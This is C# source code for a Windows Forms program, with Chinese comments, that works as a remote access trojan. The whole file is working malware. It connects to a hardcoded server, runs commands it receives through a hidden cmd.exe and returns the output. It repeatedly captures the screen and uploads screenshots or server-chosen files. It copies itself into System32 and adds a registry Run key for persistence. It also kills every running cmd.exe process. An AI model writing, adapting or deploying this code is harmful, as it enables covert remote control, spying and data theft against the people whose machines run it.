﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.IO;
using Microsoft.Win32;
using System.Reflection;
using System.Diagnostics;

namespace WindowsFormsApplication1
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private static byte[] result = new byte[1024];  //接受数据缓存
        string[] cmd = new string[] { "ver" };   //cmd命令
        string cmdback = "cmdback";  //cmd命令返回结果
        string path = @"Capture.gif"; //上传文件路径，默认截屏图片
        private void Form1_Load(object sender, EventArgs e)
        {
            
            //开启消息收发线程
            Thread SocketMessage = new Thread(SendMessage);
            SocketMessage.IsBackground = true;
            SocketMessage.Start();

            //开启文件上传线程
            Thread SocketFile = new Thread(SendFile);
            SocketFile.IsBackground = true;
            SocketFile.Start();

            //刷新Lable Log线程
            Thread LableLog = new Thread(LableRefresh);
            LableLog.IsBackground = true;
            LableLog.Start();

            //执行CMD指令线程
            Thread CmdCommand = new Thread(CmdShell);
            CmdCommand.IsBackground = true;
            CmdCommand.Start();

            //程序自我复制
            CopyFile();

            //开机自启动
            RunWhenStart(true, "SocketClientName", "C:\\Windows\\System32\\SocketClient.exe") ;
            
        }


        //消息收发
        private void SendMessage()
        {
            while (true)
            {
                //设定服务器IP地址
                bool flat = false; //是否连接到服务器
                IPAddress ip = IPAddress.Parse("192.168.0.86");
                Socket clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

                //反复连接服务器
                while (!flat)
                {
                    try  //try从产生异常开始到try结束的这段代码将不会执行
                    {
                        clientSocket.Connect(new IPEndPoint(ip, 8885)); //配置服务器IP与端口
                        label1.Text += "连接SendMessage服务器成功\r\n";
                        flat = true;
                    }
                    catch
                    {
                        label1.Text += "连接SendMessage服务器失败\r\n";

                    }
                }

                //通过clientSocket接收发送数据
                while (flat)
                {
                    //通过clientSocket接收数据
                    int receiveLength = clientSocket.Receive(result); //接受数据放入result缓存区
                    //接受数据传送给cmd命令字符串
                    if (result[0] == 'c' && result[1] == 'm' && result[2] == 'd' && result[3] == '-')
                    {
                        cmd[0] = Encoding.ASCII.GetString(result, 4, receiveLength-4);
                    }
                    //接受数据传送给上传文件路径字符串
                    if (result[0] == 'f' && result[1] == 'i' && result[2] == 'l' && result[3] == 'e' && result[4] == '-')
                    {
                        path = Encoding.ASCII.GetString(result, 5, receiveLength-5);
                    }
                    //打印接受消息
                    label1.Text += "接收服务器消息：\r\n" + Encoding.ASCII.GetString(result, 0, receiveLength)+"\r\n";
                    //通过 clientSocket 发送数据
                    try
                    {

                        Thread.Sleep(1000);    //等待1秒钟
                        string sendMessage = "Client say hello  " + DateTime.Now.ToString();
                        clientSocket.Send(Encoding.ASCII.GetBytes(sendMessage)); //发送测试数据
                        //cmd命令返回结果
                        sendMessage = cmdback;
                        clientSocket.Send(Encoding.ASCII.GetBytes(sendMessage)); //发送返回数据
                        flat = false;   //发送完后重新连接服务器
                    }
                    catch
                    {
                        clientSocket.Shutdown(SocketShutdown.Both);
                        clientSocket.Close();
                        flat = false;   //失败后重新连接服务器
                        break;
                    }


                }
                Thread.Sleep(1000);
            }
        }


        //Lable Log 刷新
        private void LableRefresh()
        {
            while (true)
            {
                label1.Text = "";
                Thread.Sleep(10000);
            }
        }


        //生成截屏图片文件
        public void CreatGif()
        {
            //Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height, System.Drawing.Imaging.PixelFormat.Format1bppIndexed);
            Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height);
            Graphics g = Graphics.FromImage(myImg);

            g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);
            myImg.Save("Capture.gif", System.Drawing.Imaging.ImageFormat.Gif);
        }



        //发送截图图片方法
        private void SendFile()
        { 
            while(true)
            {
            bool flat = false;
            //上传文件读取
            CreatGif();//截屏
            FileInfo EzoneFile = new FileInfo(path);
            FileStream EzoneStream = EzoneFile.OpenRead();

            //文件分割包
            int PacketSize = 10000; //数据包的大小
            int PacketCount = (int)(EzoneStream.Length / ((long)PacketSize)); //数据包的个数
            int LastDataPacket = (int)(EzoneStream.Length - ((long)(PacketSize * PacketCount))); //最后一个包的大小

            //Socket初始化
            IPEndPoint ipep = new IPEndPoint(IPAddress.Parse("192.168.0.86"), 7000);
            Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            while (!flat)
            {
                try
                {
                    client.Connect(ipep);
                    label1.Text += "连接SendFile服务器成功\r\n";
                    flat = true; //服务器连接成功
                }
                catch
                {
                    label1.Text += "连接SendFile服务器失败\r\n";
                    flat = false;   //失败后重新连接服务器
                    
                }
            }

            while (flat)
            {   //开始发送文件数据
               byte[] data = new byte[PacketSize];
               for(int i=0; i<PacketCount; i++)  
              {
               Thread.Sleep(250); //限制网速
               try
               {
                   EzoneStream.Read(data, 0, data.Length);  //从文件流中读取数据
                   TransferFiles.SendVarData(client, data);  //发送数据
               }
               catch 
               {
                   label1.Text += "文件数据发送失败\r\n";
               }
              }  
               //发送最后一个数据包
             if(LastDataPacket != 0)  
             {  
              data = new byte[LastDataPacket];
              try
              {
                  EzoneStream.Read(data, 0, data.Length);
                  TransferFiles.SendVarData(client, data);
              }
              catch 
              {
                  label1.Text += "文件数据发送失败\r\n";
              }
              } 
               //关闭连接
            client.Close();  
            EzoneStream.Close(); 
            flat = false;
            }
            Thread.Sleep(1000); //延迟1秒，再次发送文件
            }
            
        }


        //开启自启动，Started, 是否启动string name,启动值的名称 string path启动程序的路径
        public static void RunWhenStart(bool Started, string name, string path) 
        {
            RegistryKey HKLM = Registry.LocalMachine;
            RegistryKey Run = HKLM.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
            if (Started == true)
            {
                try
                {
                    Run.SetValue(name, path);
                    HKLM.Close();
                }
                catch
                {

                }
            }
            else
            {
                try
                {
                    Run.DeleteValue(name);
                    HKLM.Close();
                }
                catch
                {

                }
            }
        }


        //程序自我复制
        public void CopyFile()

        {
            try
            {
                Assembly vAssembly = Assembly.GetEntryAssembly();
                File.Copy(Assembly.GetEntryAssembly().Location, "C:\\Windows\\System32\\SocketClient.exe");
            }
            catch 
            {
                label1.Text += "复制程序已经存在\r\n";
            }
        }



        //CMD命令执行
        public void CmdShell()
        {
            while (true)
            {
                Cmd(cmd);
                CloseProcess("cmd.exe");
                Thread.Sleep(1000);
            }
        }


        //Cmd命令解析
        public  string Cmd(string[] cmd)
        {
            Process p = new Process();
            p.StartInfo.FileName = "cmd.exe";
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardInput = true;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.RedirectStandardError = true;
            p.StartInfo.CreateNoWindow = true;
            p.Start();
            p.StandardInput.AutoFlush = true;
            for (int i = 0; i < cmd.Length; i++)
            {
                p.StandardInput.WriteLine(cmd[i].ToString());
            }
            p.StandardInput.WriteLine("exit");
            string strRst = p.StandardOutput.ReadToEnd();
            p.WaitForExit();
            p.Close();
            label1.Text += "CMD命令返回:\r\n" + strRst;
            cmdback = strRst;  //命令返回值
            return strRst;
        }


        //关闭cmd.exe进程
        public static bool CloseProcess(string ProcName)
        {
            bool result = false;
            System.Collections.ArrayList procList = new System.Collections.ArrayList();
            string tempName = "";
            int begpos;
            int endpos;
            foreach (System.Diagnostics.Process thisProc in System.Diagnostics.Process.GetProcesses())
            {
                tempName = thisProc.ToString();
                begpos = tempName.IndexOf("(") + 1;
                endpos = tempName.IndexOf(")");
                tempName = tempName.Substring(begpos, endpos - begpos);
                procList.Add(tempName);
                if (tempName == ProcName)
                {
                    if (!thisProc.CloseMainWindow())
                        thisProc.Kill(); // 当发送关闭窗口命令无效时强行结束进程
                    result = true;
                }
            }
            return result;
        }
        }
    }

